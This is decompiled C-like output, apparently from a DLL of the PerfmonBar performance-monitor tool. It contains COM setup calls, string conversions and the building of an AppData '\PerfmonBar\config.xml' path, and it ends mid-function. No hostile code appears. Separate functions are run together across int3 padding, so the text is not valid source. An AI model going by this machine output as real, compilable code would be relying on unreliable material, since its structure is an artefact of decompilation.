				signed int _t1226;
				signed int _t1227;
				signed int _t1230;
				signed int _t1231;
				signed int* _t1235;
				signed int _t1237;
				signed int _t1240;
				signed int _t1241;
				signed int _t1244;
				signed int _t1245;
				signed int* _t1249;
				signed int _t1252;
				signed int _t1255;
				signed int _t1256;
				signed int _t1259;
				signed int _t1260;
				signed int* _t1264;
				signed int _t1265;
				signed int _t1266;
				signed int _t1267;
				signed int _t1270;
				signed int _t1271;
				signed int _t1274;
				signed int _t1275;
				signed int* _t1279;
				signed int _t1280;
				signed int _t1281;
				signed int _t1282;
				signed int _t1285;
				signed int _t1286;
				signed int _t1289;
				signed int _t1290;
				signed int* _t1294;
				signed int _t1295;
				signed int _t1296;
				signed int _t1297;
				signed int _t1300;
				signed int _t1301;
				signed int _t1304;
				signed int _t1305;
				signed int _t1309;
				signed int _t1313;
				signed int _t1318;
				signed int _t1322;
				signed int _t1323;
				signed int _t1324;
				signed int _t1327;
				signed int _t1328;
				signed int _t1331;
				short* _t1333;
				int _t1334;
				signed int _t1336;
				signed int _t1337;
				signed int _t1338;
				signed int _t1340;
				signed int _t1347;
				signed int _t1351;
				signed int _t1355;
				signed int _t1369;
				signed int _t1370;
				signed int _t1371;
				signed int _t1372;
				signed int _t1374;
				signed int _t1375;
				void* _t1379;
				signed int _t1380;
				void* _t1381;
				signed int _t1382;
				void* _t1383;
				signed int _t1384;
				void* _t1385;
				signed int _t1386;
				void* _t1387;
				signed int _t1388;
				signed int _t1389;
				signed int _t1393;
				signed int _t1394;
				signed int* _t1398;
				signed int _t1401;
				signed int _t1404;
				signed int _t1405;
				signed int _t1408;
				signed int _t1409;
				signed int _t1416;
				signed int _t1419;
				signed int _t1420;
				signed int _t1423;
				signed int _t1424;
				signed int _t1429;
				void* _t1430;
				signed int _t1431;
				signed int _t1435;
				signed int _t1436;
				signed int _t1439;
				signed int _t1440;
				signed int _t1445;
				void* _t1446;
				signed int _t1447;
				signed int _t1451;
				signed int _t1452;
				signed int _t1455;
				signed int _t1456;
				signed int* _t1460;
				signed int _t1461;
				signed int _t1462;
				signed int _t1465;
				signed int _t1466;
				signed int _t1469;
				signed int _t1470;
				signed int _t1476;
				signed int _t1480;
				short* _t1482;
				int _t1483;
				signed int _t1485;
				signed int _t1486;
				signed int _t1487;
				signed int _t1489;
				signed int _t1496;
				signed int _t1498;
				int _t1508;
				signed int _t1511;
				signed int _t1512;
				signed int* _t1530;
				signed int _t1532;
				signed int _t1535;
				signed int _t1536;
				signed int _t1539;
				short* _t1541;
				int _t1542;
				signed int _t1544;
				signed int _t1545;
				signed int _t1546;
				signed int _t1548;
				signed int* _t1556;
				signed int* _t1558;
				void* _t1559;
				int _t1560;
				signed int* _t1561;
				void* _t1565;
				void* _t1566;
				signed int _t1567;
				void* _t1571;
				intOrPtr* _t1576;
				signed int _t1578;
				int _t1581;
				int _t1585;
				int _t1590;
				signed int _t1591;
				void* _t1592;
				void* _t1594;
				short _t1596;
				void* _t1597;
				signed int _t1598;
				signed int _t1599;
				short _t1600;
				void* _t1601;
				signed int _t1602;
				signed int _t1603;
				signed int _t1604;
				signed int _t1605;
				signed int _t1606;
				signed int _t1607;
				short _t1608;
				void* _t1609;
				signed int _t1610;
				signed int _t1611;
				signed int _t1612;
				signed int _t1613;
				signed int _t1614;
				short _t1616;
				void* _t1617;
				int _t1618;
				short _t1620;
				void* _t1621;
				void* _t1622;
				signed int _t1624;
				signed int _t1625;
				signed int _t1626;
				signed int* _t1627;
				signed int _t1629;
				signed int _t1630;
				signed int _t1631;
				signed int _t1632;
				signed int _t1633;
				signed int* _t1634;
				signed int _t1635;
				signed int _t1636;
				intOrPtr* _t1641;
				int _t1647;
				signed int _t1648;
				signed int _t1656;
				signed int _t1657;
				intOrPtr* _t1668;
				intOrPtr _t1673;
				signed int _t1674;
				void* _t1675;
				signed int _t1676;
				signed int _t1683;
				signed int _t1685;
				signed int _t1695;
				signed int _t1702;
				signed int _t1704;
				signed int _t1706;
				signed int _t1708;
				signed int _t1710;
				signed int _t1712;
				signed int _t1726;
				signed int _t1733;
				signed int _t1741;
				void* _t1748;
				void* _t1749;
				signed int _t1750;
				signed int _t1765;
				signed int _t1767;
				signed int _t1769;
				signed int _t1771;
				signed int _t1775;
				signed int _t1785;
				signed int _t1805;
				intOrPtr _t1821;
				void* _t1824;
				signed int _t1825;
				void* _t1829;
				signed int _t1831;
				signed int _t1832;
				void* _t1833;
				void* _t1834;
				signed int _t1835;
				short* _t1837;
				intOrPtr _t1838;
				void* _t1839;
				short* _t1841;
				intOrPtr* _t1842;
				void* _t1843;
				void* _t1844;
				void* _t1845;
				signed int _t1846;
				void* _t1847;
				signed int _t1848;
				void* _t1849;
				int* _t1850;
				intOrPtr* _t1851;
				int* _t1852;
				int _t1854;
				signed int _t1855;
				signed int* _t1857;
				int _t1859;
				signed int _t1860;
				signed int _t1862;
				void* _t1863;
				int _t1864;
				intOrPtr _t1865;
				void* _t1866;
				signed int _t1867;
				signed int _t1868;
				signed int _t1869;
				int _t1870;
				int _t1872;
				int _t1874;
				signed int _t1876;
				void* _t1877;
				signed int _t1878;
				signed int _t1879;
				signed int _t1880;
				signed int _t1881;
				signed int _t1882;
				signed int _t1883;
				void* _t1884;
				signed int _t1885;
				signed int _t1886;
				signed int _t1887;
				signed int _t1888;
				signed int _t1889;
				signed int _t1890;
				signed int _t1891;
				signed int _t1892;
				signed int _t1893;
				signed int _t1894;
				signed int _t1895;
				signed int _t1896;
				void* _t1897;
				signed int _t1898;
				void* _t1899;
				signed int _t1900;
				void* _t1901;
				signed int _t1902;
				void* _t1903;
				signed int _t1904;
				signed int _t1905;
				signed int _t1906;
				signed int _t1907;
				signed int _t1908;
				void* _t1909;
				void* _t1910;
				signed int _t1911;
				void* _t1912;
				signed int _t1914;
				signed int _t1915;
				signed int _t1916;
				signed int _t1917;
				signed int _t1918;
				signed int _t1920;
				signed int _t1923;
				signed int _t1932;
				signed int _t1933;
				signed int _t1934;
				signed int _t1937;
				signed int _t1939;
				void* _t1940;
				signed int _t1943;
				void* _t1945;
				signed int _t1951;
				signed int _t1952;
				long long _t1996;

				_t1996 = __fp0;
				_t1837 = __edi;
				_t1820 = __edx;
				_t1624 = __ecx;
				_t1590 = __ebx;
				_t1914 = _t1932;
				_push(0xffffffff);
				_push(0x6e92878c);
				_push( *[fs:0x0]);
				_t1933 = _t1932 - 0x5c;
				_t951 =  *0x6e93d008; // 0x6cddfca0
				_t952 = _t951 ^ _t1914;
				_v20 = _t952;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t952);
				 *[fs:0x0] =  &_v16;
				_v96 = __edx;
				_v104 = __ecx;
				_v40 = 0;
				_v8 = 0;
				_t1854 =  *__ecx;
				if(_t1854 == 0) {
					L86:
					E6E907500(0x80004003);
					goto L87;
				} else {
					_t1624 =  &_v40;
					_v8 = 0;
					_push(_t1624);
					_push(_t1854);
					_v40 = 0;
					if( *((intOrPtr*)( *_t1854 + 0x44))() < 0) {
						L80:
						_t1620 = 0;
						__eflags = 0;
						goto L81;
					} else {
						_t1530 = _v40;
						if(_t1530 == 0) {
							goto L86;
						} else {
							_t1624 =  *_t1530;
							_t1820 =  &_v44;
							_push(_t1820);
							_push(_t1530);
							if( *((intOrPtr*)(_t1624 + 0x2c))() < 0) {
								goto L80;
							} else {
								_t1532 = 0;
								_v36 = 0;
								_t1590 = 0;
								_v8 = 4;
								_t1837 = __imp__#6;
								_v92 = 0;
								if(_v44 <= 0) {
									L53:
									_v28 = 0;
									_v8 = 0x11;
									_t1624 =  *_v104;
									__eflags = _t1624;
									if(_t1624 == 0) {
										goto L86;
									} else {
										_t1820 =  &_v28;
										_v8 = 0x11;
										_v28 = 0;
										 *((intOrPtr*)( *_t1624 + 0x34))(_t1624, _t1820);
										_t1535 = _v28;
										__eflags = _t1535;
										if(_t1535 == 0) {
											L72:
											_t1620 = 1;
											goto L73;
										} else {
											_t1590 = MultiByteToWideChar;
											while(1) {
												_v32 = 0;
												_v8 = 0x13;
												__eflags = _t1535;
												if(_t1535 == 0) {
													goto L86;
												}
												_t1820 =  &_v32;
												_t1539 =  *((intOrPtr*)( *_t1535 + 0x1c))(_t1535, _t1820);
												__eflags = _t1539;
												if(_t1539 < 0) {
													L79:
													 *_t1837(_v32);
													_t1535 = _v28;
													_t1620 = 0;
													L73:
													_v8 = 0x20;
													__eflags = _t1535;
													if(_t1535 != 0) {
														 *((intOrPtr*)( *_t1535 + 8))(_t1535);
													}
													goto L75;
												} else {
													_t1541 = MultiByteToWideChar(3, 0, "lines", 0xffffffff, 0, 0);
													_t1854 = _t1541;
													_t84 = _t1854 - 1; // -1
													_t1624 = _t84;
													__imp__#4(0, _t1624);
													_t1837 = _t1541;
													__eflags = _t1837;
													if(_t1837 == 0) {
														L88:
														E6E8F7B80(0x8007000e);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t1914);
														_t1915 = _t1933;
														_push(0xffffffff);
														_push(0x6e928810);
														_push( *[fs:0x0]);
														_t1934 = _t1933 - 0x6c;
														_t958 =  *0x6e93d008; // 0x6cddfca0
														_t959 = _t958 ^ _t1915;
														_v152 = _t959;
														_push(_t1590);
														_push(_t1854);
														_push(_t1837);
														_push(_t959);
														 *[fs:0x0] =  &_v148;
														_t1591 = _t1820;
														_v244 = _t1591;
														_v156 = 0;
														_v140 = 0;
														_t1625 =  *_t1624;
														__eflags = _t1625;
														if(_t1625 == 0) {
															L134:
															E6E907500(0x80004003);
															goto L135;
														} else {
															_t1820 =  &_v28;
															_v12 = 0;
															_v28 = 0;
															 *((intOrPtr*)( *_t1625 + 0x34))(_t1625,  &_v28);
															_t1476 = _v28;
															__eflags = _t1476;
															if(_t1476 == 0) {
																L127:
																_t1616 = 1;
																goto L128;
															} else {
																_t1837 = __imp__#6;
																while(1) {
																	_v36 = 0;
																	_v12 = 2;
																	__eflags = _t1476;
																	if(_t1476 == 0) {
																		goto L134;
																	}
																	_t1820 =  &_v36;
																	_t1480 =  *((intOrPtr*)( *_t1476 + 0x1c))(_t1476,  &_v36);
																	__eflags = _t1480;
																	if(_t1480 < 0) {
																		L133:
																		 *_t1837(_v36);
																		_t1476 = _v28;
																		_t1616 = 0;
																		L128:
																		_v12 = 0x11;
																		__eflags = _t1476;
																		if(_t1476 != 0) {
																			 *((intOrPtr*)( *_t1476 + 8))(_t1476);
																		}
																		 *[fs:0x0] = _v20;
																		_pop(_t1847);
																		_pop(_t1910);
																		_pop(_t1617);
																		__eflags = _v24 ^ _t1915;
																		return E6E904160(_t1616, _t1617, _v24 ^ _t1915, _t1820, _t1847, _t1910);
																	} else {
																		_t1482 = MultiByteToWideChar(3, 0, "line", 0xffffffff, 0, 0);
																		_t1854 = _t1482;
																		_t139 = _t1854 - 1; // -1
																		_t1625 = _t139;
																		__imp__#4(0, _t1625);
																		_t1837 = _t1482;
																		__eflags = _t1837;
																		if(_t1837 == 0) {
																			L138:
																			E6E8F7B80(0x8007000e);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_push(_t1854);
																			_t1855 = _t1625;
																			_t1626 =  *(_t1855 + 0x14);
																			__eflags = _t1626 - 8;
																			if(_t1626 < 8) {
																				L144:
																				__eflags = 0;
																				 *(_t1855 + 0x10) = 0;
																				 *(_t1855 + 0x14) = 7;
																				 *_t1855 = 0;
																				return 0;
																			} else {
																				_t966 =  *_t1855;
																				_t1627 = 2 + _t1626 * 2;
																				__eflags = _t1627 - 0x1000;
																				if(_t1627 < 0x1000) {
																					L143:
																					_push(_t1627);
																					E6E90416E(_t966);
																					goto L144;
																				} else {
																					_t1821 =  *((intOrPtr*)(_t966 - 4));
																					_t1627 =  &(_t1627[8]);
																					__eflags = _t966 - _t1821 + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						E6E90D5F4(_t1591, _t1627, _t1821, __eflags);
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t1855);
																						_t1857 = _t1627;
																						E6E8FB7E0(_t1591,  &(_t1857[0xa]), _t1821, _t1837, _t1857, _t1996);
																						_t1629 = _t1857[5];
																						__eflags = _t1629 - 8;
																						if(_t1629 < 8) {
																							L151:
																							__eflags = 0;
																							_t1857[4] = 0;
																							_t1857[5] = 7;
																							 *_t1857 = 0;
																							return 0;
																						} else {
																							_t973 =  *_t1857;
																							_t1630 = 2 + _t1629 * 2;
																							__eflags = _t1630 - 0x1000;
																							if(_t1630 < 0x1000) {
																								L150:
																								_push(_t1630);
																								E6E90416E(_t973);
																								goto L151;
																							} else {
																								_t1822 =  *(_t973 - 4);
																								_t1630 = _t1630 + 0x23;
																								__eflags = _t973 - _t1822 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									E6E90D5F4(_t1591, _t1630, _t1822, __eflags);
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									_push(_t1915);
																									_t1916 = _t1934;
																									_push(0xffffffff);
																									_push(0x6e9288d1);
																									_push( *[fs:0x0]);
																									_t1937 = _t1934 - 0xd4;
																									_t979 =  *0x6e93d008; // 0x6cddfca0
																									_t980 = _t979 ^ _t1916;
																									_v296 = _t980;
																									_push(_t1591);
																									_push(_t1857);
																									_push(_t1837);
																									_push(_t980);
																									 *[fs:0x0] =  &_v292;
																									_v448 = _t1822;
																									_t982 = _t1630;
																									_v496 = _t982;
																									_v316 = 0;
																									_v284 = 0;
																									_t1859 =  *_t982;
																									__eflags = _t1859;
																									if(__eflags == 0) {
																										L346:
																										E6E907500(0x80004003);
																										goto L347;
																									} else {
																										_t1630 =  &_v48;
																										_v16 = 0;
																										_v48 = 0;
																										_t1318 =  *((intOrPtr*)( *_t1859 + 0x44))(_t1859, _t1630);
																										__eflags = _t1318;
																										if(_t1318 < 0) {
																											L340:
																											_t1608 = 0;
																											__eflags = 0;
																											goto L341;
																										} else {
																											_t1322 = _v48;
																											__eflags = _t1322;
																											if(__eflags == 0) {
																												goto L346;
																											} else {
																												_t1630 =  *_t1322;
																												_t1822 =  &_v52;
																												_t1323 =  *((intOrPtr*)(_t1630 + 0x2c))(_t1322,  &_v52);
																												__eflags = _t1323;
																												if(_t1323 < 0) {
																													goto L340;
																												} else {
																													_t1324 = 0;
																													_v44 = 0;
																													_t1591 = 0;
																													_v16 = 4;
																													_t1837 = __imp__#6;
																													_v224 = 0;
																													__eflags = _v52;
																													if(_v52 <= 0) {
																														L297:
																														_v36 = 0;
																														_v16 = 0x12;
																														_t1630 =  *_v228;
																														__eflags = _t1630;
																														if(__eflags == 0) {
																															goto L346;
																														} else {
																															_t1822 =  &_v36;
																															_v16 = 0x12;
																															_v36 = 0;
																															 *((intOrPtr*)( *_t1630 + 0x34))(_t1630,  &_v36);
																															_t1327 = _v36;
																															__eflags = _t1327;
																															if(_t1327 == 0) {
																																L332:
																																_t1608 = 1;
																																goto L333;
																															} else {
																																_t1591 = MultiByteToWideChar;
																																while(1) {
																																	_v40 = 0;
																																	_v16 = 0x14;
																																	__eflags = _t1327;
																																	if(__eflags == 0) {
																																		goto L346;
																																	}
																																	_t1822 =  &_v40;
																																	_t1331 =  *((intOrPtr*)( *_t1327 + 0x1c))(_t1327,  &_v40);
																																	__eflags = _t1331;
																																	if(_t1331 < 0) {
																																		L339:
																																		 *_t1837(_v40);
																																		_t1327 = _v36;
																																		_t1608 = 0;
																																		L333:
																																		_v16 = 0x24;
																																		__eflags = _t1327;
																																		if(_t1327 != 0) {
																																			 *((intOrPtr*)( *_t1327 + 8))(_t1327);
																																		}
																																		goto L335;
																																	} else {
																																		_t1333 = MultiByteToWideChar(3, 0, "display", 0xffffffff, 0, 0);
																																		_t1859 = _t1333;
																																		_t398 = _t1859 - 1; // -1
																																		_t1630 = _t398;
																																		__imp__#4(0, _t1630);
																																		_t1837 = _t1333;
																																		__eflags = _t1837;
																																		if(_t1837 == 0) {
																																			L349:
																																			E6E8F7B80(0x8007000e);
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			_push(_t1859);
																																			_t1860 = _t1630;
																																			_t1631 =  *(_t1860 + 0x44);
																																			__eflags = _t1631 - 8;
																																			if(_t1631 < 8) {
																																				L355:
																																				 *(_t1860 + 0x40) = 0;
																																				 *(_t1860 + 0x44) = 7;
																																				 *(_t1860 + 0x30) = 0;
																																				_t1632 =  *(_t1860 + 0x2c);
																																				__eflags = _t1632 - 8;
																																				if(_t1632 < 8) {
																																					L360:
																																					 *(_t1860 + 0x28) = 0;
																																					 *(_t1860 + 0x2c) = 7;
																																					 *(_t1860 + 0x18) = 0;
																																					_t1633 =  *(_t1860 + 0x14);
																																					__eflags = _t1633 - 8;
																																					if(_t1633 < 8) {
																																						L365:
																																						__eflags = 0;
																																						 *(_t1860 + 0x10) = 0;
																																						 *(_t1860 + 0x14) = 7;
																																						 *_t1860 = 0;
																																						return 0;
																																					} else {
																																						_t989 =  *_t1860;
																																						_t1634 = 2 + _t1633 * 2;
																																						__eflags = _t1634 - 0x1000;
																																						if(_t1634 < 0x1000) {
																																							L364:
																																							_push(_t1634);
																																							E6E90416E(_t989);
																																							goto L365;
																																						} else {
																																							_t1823 =  *(_t989 - 4);
																																							_t1634 =  &(_t1634[8]);
																																							__eflags = _t989 - _t1823 + 0xfffffffc - 0x1f;
																																							if(__eflags > 0) {
																																								goto L366;
																																							} else {
																																								_t989 = _t1823;
																																								goto L364;
																																							}
																																						}
																																					}
																																				} else {
																																					_t1309 =  *(_t1860 + 0x18);
																																					_t1748 = 2 + _t1632 * 2;
																																					__eflags = _t1748 - 0x1000;
																																					if(_t1748 < 0x1000) {
																																						L359:
																																						_push(_t1748);
																																						E6E90416E(_t1309);
																																						_t1937 = _t1937 + 8;
																																						goto L360;
																																					} else {
																																						_t1823 =  *(_t1309 - 4);
																																						_t1634 = _t1748 + 0x23;
																																						__eflags = _t1309 - _t1823 + 0xfffffffc - 0x1f;
																																						if(__eflags > 0) {
																																							goto L366;
																																						} else {
																																							_t1309 = _t1823;
																																							goto L359;
																																						}
																																					}
																																				}
																																			} else {
																																				_t1313 =  *(_t1860 + 0x30);
																																				_t1749 = 2 + _t1631 * 2;
																																				__eflags = _t1749 - 0x1000;
																																				if(_t1749 < 0x1000) {
																																					L354:
																																					_push(_t1749);
																																					E6E90416E(_t1313);
																																					_t1937 = _t1937 + 8;
																																					goto L355;
																																				} else {
																																					_t1823 =  *(_t1313 - 4);
																																					_t1634 = _t1749 + 0x23;
																																					__eflags = _t1313 - _t1823 + 0xfffffffc - 0x1f;
																																					if(__eflags > 0) {
																																						L366:
																																						E6E90D5F4(_t1591, _t1634, _t1823, __eflags);
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						_push(_t1916);
																																						_t1917 = _t1937;
																																						_push(0xffffffff);
																																						_push(0x6e928972);
																																						_push( *[fs:0x0]);
																																						_t1939 = _t1937 - 0x7c;
																																						_t995 =  *0x6e93d008; // 0x6cddfca0
																																						_t996 = _t995 ^ _t1917;
																																						_v552 = _t996;
																																						_push(_t1591);
																																						_push(_t1860);
																																						_push(_t1837);
																																						_push(_t996);
																																						 *[fs:0x0] =  &_v548;
																																						_v616 = _t1823;
																																						_v564 = 0;
																																						_v540 = 0;
																																						_t1635 =  *_t1634;
																																						__eflags = _t1635;
																																						if(_t1635 == 0) {
																																							L547:
																																							E6E907500(0x80004003);
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							_push(_t1917);
																																							_t1918 = _t1939;
																																							_push(0xffffffff);
																																							_push(0x6e9289ec);
																																							_push( *[fs:0x0]);
																																							_t1940 = _t1939 - 0x5c;
																																							_t1000 =  *0x6e93d008; // 0x6cddfca0
																																							_t1001 = _t1000 ^ _t1918;
																																							_v708 = _t1001;
																																							_push(_t1591);
																																							_push(_t1860);
																																							_push(_t1837);
																																							_push(_t1001);
																																							 *[fs:0x0] =  &_v704;
																																							_v788 = _t1823;
																																							_v716 = 0;
																																							_v696 = 0;
																																							_t1636 =  *_t1635;
																																							__eflags = _t1636;
																																							if(_t1636 == 0) {
																																								L633:
																																								E6E907500(0x80004003);
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								_t1592 = _t1940;
																																								_t1943 = (_t1940 - 0x00000008 & 0xfffffff8) + 4;
																																								_v820 =  *((intOrPtr*)(_t1592 + 4));
																																								_t1920 = _t1943;
																																								_t1006 =  *0x6e93d008 ^ _t1920;
																																								_v844 = _t1006;
																																								 *[fs:0x0] =  &_v836;
																																								_t1862 = _t1636;
																																								E6E908400(_t1837,  &_v1368, 0, 0x208);
																																								_t1945 = _t1943 - 0x25c + 0xc;
																																								_t1010 =  &_v1368;
																																								__imp__SHGetFolderPathW(0, 0x1a, 0, 0, _t1010, _t1006, _t1860, _t1592,  *[fs:0x0], 0x6e928a30, 0xffffffff, _t1918, _t1591);
																																								__eflags = _t1010;
																																								if(_t1010 < 0) {
																																									L653:
																																									 *[fs:0x0] = _v44;
																																									_pop(_t1863);
																																									__eflags = _v52 ^ _t1920;
																																									return E6E904160(_t1010, _t1592, _v52 ^ _t1920, _t1823, _t1837, _t1863);
																																								} else {
																																									__eflags = 0;
																																									_v600 = 0;
																																									_t1641 =  &_v576;
																																									_v584 = 0;
																																									_v580 = 7;
																																									_t1824 = _t1641 + 2;
																																									_v600 = 0;
																																									do {
																																										_t1013 =  *_t1641;
																																										_t1641 = _t1641 + 2;
																																										__eflags = _t1013;
																																									} while (_t1013 != 0);
																																									_push(_t1641 - _t1824 >> 1);
																																									E6E8FB860(_t1592,  &_v600, _t1837, _t1862, _t1996,  &_v576);
																																									_push(0x16);
																																									_v36 = 0;
																																									_t1016 = E6E8FCC10( &_v600, _t1996, L"\\PerfmonBar\\config.xml");
																																									asm("movups xmm0, [eax]");
																																									asm("movq xmm1, [eax+0x10]");
																																									 *(_t1016 + 0x10) = 0;
																																									 *(_t1016 + 0x14) = 7;
																																									 *_t1016 = 0;
																																									asm("movq [ebp-0x240], xmm1");
																																									asm("movq [ebp-0x248], xmm1");
																																									asm("movups [ebp-0x268], xmm0");
																																									asm("movups [ebp-0x258], xmm0");
																																									__eflags = _t1862 -  &_v632;
																																									if(_t1862 ==  &_v632) {
																																										_t1825 = _v612;
																																										__eflags = _t1825 - 8;
																																										if(_t1825 < 8) {
																																											goto L648;
																																										} else {
																																											_t1673 = _v632;
																																											_t1829 = 2 + _t1825 * 2;
																																											_t1109 = _t1673;
																																											__eflags = _t1829 - 0x1000;
																																											if(_t1829 < 0x1000) {
																																												L647:
																																												_push(_t1829);
																																												E6E90416E(_t1673);
																																												_t1945 = _t1945 + 8;
																																												goto L648;
																																											} else {
																																												_t1647 =  *(_t1673 - 4);
																																												_t1823 = _t1829 + 0x23;
																																												__eflags = _t1109 - _t1647 + 0xfffffffc - 0x1f;
																																												if(__eflags > 0) {
																																													goto L654;
																																												} else {
																																													goto L647;
																																												}
																																											}
																																										}
																																									} else {
																																										_t1674 =  *(_t1862 + 0x14);
																																										__eflags = _t1674 - 8;
																																										if(_t1674 < 8) {
																																											L643:
																																											asm("movups [esi], xmm0");
																																											asm("movq [esi+0x10], xmm1");
																																											L648:
																																											_t1823 = _v580;
																																											__eflags = _t1823 - 8;
																																											if(_t1823 < 8) {
																																												L652:
																																												_t1010 = 0;
																																												__eflags = 0;
																																												goto L653;
																																											} else {
																																												_t1647 = _v600;
																																												_t1823 = 2 + _t1823 * 2;
																																												_t1018 = _t1647;
																																												__eflags = _t1823 - 0x1000;
																																												if(_t1823 < 0x1000) {
																																													L651:
																																													_push(_t1823);
																																													E6E90416E(_t1647);
																																													goto L652;
																																												} else {
																																													_t1647 =  *(_t1647 - 4);
																																													_t1823 = _t1823 + 0x23;
																																													__eflags = _t1018 - _t1647 + 0xfffffffc - 0x1f;
																																													if(__eflags > 0) {
																																														goto L654;
																																													} else {
																																														goto L651;
																																													}
																																												}
																																											}
																																										} else {
																																											_t1113 =  *_t1862;
																																											_t1675 = 2 + _t1674 * 2;
																																											__eflags = _t1675 - 0x1000;
																																											if(_t1675 < 0x1000) {
																																												L642:
																																												_push(_t1675);
																																												E6E90416E(_t1113);
																																												asm("movups xmm0, [ebp-0x268]");
																																												_t1945 = _t1945 + 8;
																																												asm("movq xmm1, [ebp-0x240]");
																																												goto L643;
																																											} else {
																																												_t1823 =  *(_t1113 - 4);
																																												_t1647 = _t1675 + 0x23;
																																												__eflags = _t1113 - _t1823 + 0xfffffffc - 0x1f;
																																												if(__eflags > 0) {
																																													L654:
																																													E6E90D5F4(_t1592, _t1647, _t1823, __eflags);
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													_push(_t1592);
																																													_t1594 = _t1945;
																																													_t1951 = (_t1945 - 0x00000008 & 0xfffffff8) + 4;
																																													_push(_t1920);
																																													_v1488 =  *((intOrPtr*)(_t1594 + 4));
																																													_t1923 = _t1951;
																																													_push(0xffffffff);
																																													_push(0x6e928aa5);
																																													_push( *[fs:0x0]);
																																													_push(_t1594);
																																													_t1952 = _t1951 - 0x58;
																																													_t1024 =  *0x6e93d008; // 0x6cddfca0
																																													_t1025 = _t1024 ^ _t1923;
																																													_v1512 = _t1025;
																																													_push(_t1862);
																																													_push(_t1837);
																																													_push(_t1025);
																																													_t1026 =  &_v1504;
																																													 *[fs:0x0] = _t1026;
																																													_t1864 = _t1647;
																																													_v1576 = _t1864;
																																													__eflags =  *0x6e93f380;
																																													if( *0x6e93f380 == 0) {
																																														__imp__CoInitialize(0);
																																														__eflags = _t1026;
																																														_t1823 =  >=  ? 1 :  *0x6e93f380 & 0x000000ff;
																																														 *0x6e93f380 =  >=  ? 1 :  *0x6e93f380 & 0x000000ff;
																																													}
																																													_t1648 =  *(_t1864 + 8);
																																													__eflags = _t1648;
																																													if(_t1648 != 0) {
																																														__eflags =  *(_t1864 + 0x1c) >> 3 - _t1648;
																																														if( *(_t1864 + 0x1c) >> 3 <= _t1648) {
																																															E6E8FC400(_t1594,  *((intOrPtr*)(_t1864 + 4)), _t1837, _t1864, _t1996);
																																															 *((intOrPtr*)( *((intOrPtr*)(_t1864 + 4)))) =  *((intOrPtr*)(_t1864 + 4));
																																															 *((intOrPtr*)( *((intOrPtr*)(_t1864 + 4)) + 4)) =  *((intOrPtr*)(_t1864 + 4));
																																															 *(_t1864 + 8) = 0;
																																															_t1823 =  *(_t1864 + 0x10);
																																															_v124 =  *((intOrPtr*)(_t1864 + 4));
																																															E6E8FBFC0( *((intOrPtr*)(_t1864 + 0xc)),  *(_t1864 + 0x10),  &_v124);
																																															_t1952 = _t1952 + 4;
																																														} else {
																																															L6E8FB5B0(_t1864,  *((intOrPtr*)( *((intOrPtr*)(_t1864 + 4)))),  *((intOrPtr*)(_t1864 + 4)));
																																														}
																																													}
																																													_t1838 =  *((intOrPtr*)(_t1864 + 0x24));
																																													_t1027 = _t1864 + 0x20;
																																													_t1865 =  *_t1027;
																																													_v124 = _t1027;
																																													__eflags = _t1865 - _t1838;
																																													if(_t1865 != _t1838) {
																																														do {
																																															E6E8FB760(_t1594, _t1865 + 4, _t1838, _t1865, _t1996);
																																															_t1865 = _t1865 + 0x10;
																																															__eflags = _t1865 - _t1838;
																																														} while (_t1865 != _t1838);
																																														_t1027 = _v124;
																																														_t1865 =  *_t1027;
																																													}
																																													 *((intOrPtr*)(_t1027 + 4)) = _t1865;
																																													_v80 = 0;
																																													_t1028 =  &_v116;
																																													_v48 = 1;
																																													__imp__CoCreateInstance(0x6e92a3c0, 0, 0x17, 0x6e935b60, _t1028);
																																													__eflags = _t1028;
																																													if(_t1028 < 0) {
																																														L725:
																																														_t1029 = 0;
																																														__eflags = 0;
																																														_v80 = 0;
																																														_v117 = 0;
																																														goto L726;
																																													} else {
																																														__imp__OleRun(_v116);
																																														_t1867 = _t1028;
																																														__eflags = _t1867;
																																														if(_t1867 >= 0) {
																																															_t1668 = _v116;
																																															_t1823 =  &_v80;
																																															_t1867 =  *((intOrPtr*)( *_t1668))(_t1668, 0x6e935b50,  &_v80);
																																														}
																																														_t1033 = _v116;
																																														 *((intOrPtr*)( *_t1033 + 8))(_t1033);
																																														__eflags = _t1867;
																																														if(_t1867 < 0) {
																																															goto L725;
																																														} else {
																																															_v108 = 0;
																																															_v92 = 0;
																																															_v88 = 7;
																																															_v108 = 0;
																																															_v48 = 4;
																																															L634();
																																															__eflags = 0;
																																															if(0 != 0) {
																																																L719:
																																																_v117 = 0;
																																																goto L720;
																																															} else {
																																																_t1868 = _v80;
																																																__eflags = _t1868;
																																																if(__eflags == 0) {
																																																	L732:
																																																	E6E907500(0x80004003);
																																																	goto L733;
																																																} else {
																																																	__eflags = _v88 - 8;
